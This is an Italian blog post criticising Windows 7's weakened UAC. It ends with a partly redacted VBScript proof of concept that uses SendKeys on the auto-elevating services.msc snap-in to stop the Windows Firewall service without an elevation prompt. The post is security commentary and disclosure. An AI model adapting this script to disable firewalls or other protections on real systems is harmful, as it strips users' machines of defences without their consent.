Chi sì è abituato a usare utenti non amministrativi sul proprio PC (dai tempi di Windows 2000 mai preso un solo virus, guarda caso), ha salutato con grande gioia l'avvento di UAC con Vista.
Il grosso dell'utenza notoriamente non l'ha pensata nello stesso modo, pare
Francamente non capisco perchè nessuno si lamenta di sudo su Mac OS X e su Linux, che tra le altre non include un meccanismo di execution context basato su token, ma si limita ad eseguire l'applicazione come root, con relativa richiesta di password per il sudoer.
La risposta è semplice: è una questione culturale. Nessun utente Unix si sognerebbe di cazzeggiare sul web o leggere la posta loggato come root, ma tant'è, l'utente Windows a quanto pare pretende "Ovo, galina e cul caldo" (così almeno si dice da queste parti).
Windows 7 cerca di bilanciarsi e fornisce all'utente la scelta di vari livelli tra gli estremi "Martella zebedei stile Vista" e "Lasciami fare stile XP che poi me la prendo con l'antivirus".
Il risultato IMHO scontenterà tutti. mentre con Vista era tutto sommato possibile usare in sicurezza il PC con un utente amministratore (fidandosi ciecamente di UAC), ora non è più possibile. Lo UAC di Windows 7 è molto più blando anche in termini di security, ma questo l'utente di sicuro non lo sa.
Il rischio ora è che l'utente utilizzi un utente amministratore, "perchè tanto c'è UAC"!!
Se poi con un banale shatter attack è addirittura possibile disattivare UAC ("problemino" emerso ai tempi della prima beta): http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/
Venendo al punto di questo post, peggiora anche l'usabilità per i pochi masochisti che adorano UAC e per giunta utilizzano utenti non amministrativi (preferendo anche avere le terga parate da ACL & c.), in Windows 7 RC nel tentativo di accedere al Device Manager compare la seguente message box:
Da notare che i settangi di UAC sono a palla. Morale: come ai vecchi tempi di XP: da un command prompt amministrativo: devmgmt e via. Stà a vedere che toccherà anche riciclare i runas su rundll32 per accedere alle applet del control panel.
La stessa cosa capita con altri snap in MMC (services.msc, etc). Non sarebbe male se l'idea fosse stata quella di permettere una modalità "view only" per standard user, richiedendo la successiva elevazione per le modifiche, ma non è così.
Naturalmente questo non è solo un problema di usabilità, il problema serio è il (noto) rovescio della medaglia:
Eseguendo lo stesso snap-in da un prompt non elevato con utente amministratore (ad es.: via runas /u:pippo <command>), ecco che l'utente può fare macelli senza richiesta di elevazione.
Vero che lo può fare solo codice firmato MS, nelle directory sicure a marchiato per l'auto-elevation nel manifest o nel registry per gli oggetti COM (quindi ad es. devenv o net start <servizio> non funzia), ma basta qualche sendkeys per ottenere il risultato.
Addendum:
una semplice proof of concept, utilizzando VBScript (basato per giunta sul "famigerato" script di Rafael Rivera citato sopra, come farebbe un qualunque script kiddie :-) ).
Obiettivo: fermare il servizio Windows Firewall, tramine lo snap in "services.msc" con qualche SendKeys. Naturalmente l'utente deve essere membro di Administrators.
Disclaimer: Si tratta di una semplice proof of concept (ce ne fosse bisogno), don't try this at home! (o meglio, out of your own PC :-) )
Set WshShell = WScript.CreateObject("WScript.Shell")
'// Apri Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
'// Cerca il device manager
WshShell.SendKeys("services.msc")
WScript.Sleep(2000)
'// Primo risulato della lista
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
'// Windows Firewall
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("W")
WshShell.SendKeys("i")
WshShell.SendKeys("n")
**Righe rimosse di proposito (si sa mai che poi qualcuno reclami), completare la sequenza di caratteri *
WScript.Sleep(2000)
'// menu "Action" -> "Stop"
WshShell.SendKeys("%A")
WshShell.SendKeys("o")
Quando UAC era UAC queste cose non succedevano, anche se non aveva il proposito di essere easustivo! :-)